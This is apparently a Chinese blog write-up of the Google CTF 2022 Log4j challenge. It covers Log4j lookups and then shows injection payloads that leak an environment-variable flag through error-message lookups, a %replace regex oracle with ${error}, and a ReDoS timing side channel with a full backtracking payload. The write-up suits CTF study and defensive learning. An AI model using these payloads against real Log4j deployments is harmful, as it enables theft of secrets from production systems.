前置知识
- -Dcmd:
Java 运行时
1 | java -Dkey=value |
就会产生一个 key = value 的系统属性
等同于这样一段代码
1 | System.setProperty("key", "value"); |
IDEA中运行如何配置呢?加 jvm 参数即可
- Log4j 的 lookup:将
${}
中内容替换,如 sys,env,bundle,java - 配置文件
1 | <Configuration status="INFO"> |
如果没有指定 logger ,则默认使用该 Root 输出,且为 stderr 的
Exploit
python 代码:
1 | app = Flask(__name__) |
可以看到只会输出标准输出的结果
1 | import org.apache.logging.log4j.LogManager; |
log4j 是 2.17.2 的,不存在 JDNI 注入
通过异常带出
在 xml 配置文件中
1 | %d{HH:mm:ss.SSS} %-5level %logger{36} executing ${sys:cmd} - %msg %n |
如果 cmd=${env:FLAG}
但并不会返回到前端,因为不是在标准输出中,所以就可以尝试用其他的 logger
bundle
1 | ${bundle:${env:FLAG}} |
java
1 | ${java:${env:FLAG}} |
通过条件表达式猜测
新题中:
可能是将 flag 和一些异常输出特征给禁止了
我们需要判别 flag 是否为 CTF{t*,虽然 log4j 中没有做 “string contains” 或 “string start with” 的 lookup,但是有个正则替换:
1 | %replace{abc}{a}{d}=>dbc |
所以就可以构造:
说明我们 cmd 为 flag
${error}
简单理解就是使用了就会抛出一个 exception,或者这样也可以
因此可以通过脚本探测 flag
1 | import requests |
redos
不仅可以通过输出,还可以通过响应时间来判断
1 | def chat(cmd, text): |
如这样的代码
1 | %replace{hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchicchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihichicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccchchhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihhichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihihiihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci}{(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*}{match} |
所以 payload 如下
1 | %replace{${env:FLAG}.hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchicchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihichicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccchchhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihhichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihihiihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci}{(CTF[a-z].*|(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*)}{match} |
如果 flag 是 CTF[a-z] 就会匹配第一种,否则就会 timeout
另记一点
如何扫描并获取包下被指定注解的类
1 | <dependency> |
1 | Reflections f = new Reflections("org.apache.logging.log4j.core"); |
参考
https://y4tacker.github.io/2022/07/06/year/2022/7/GoogleCTF2022-Log4j/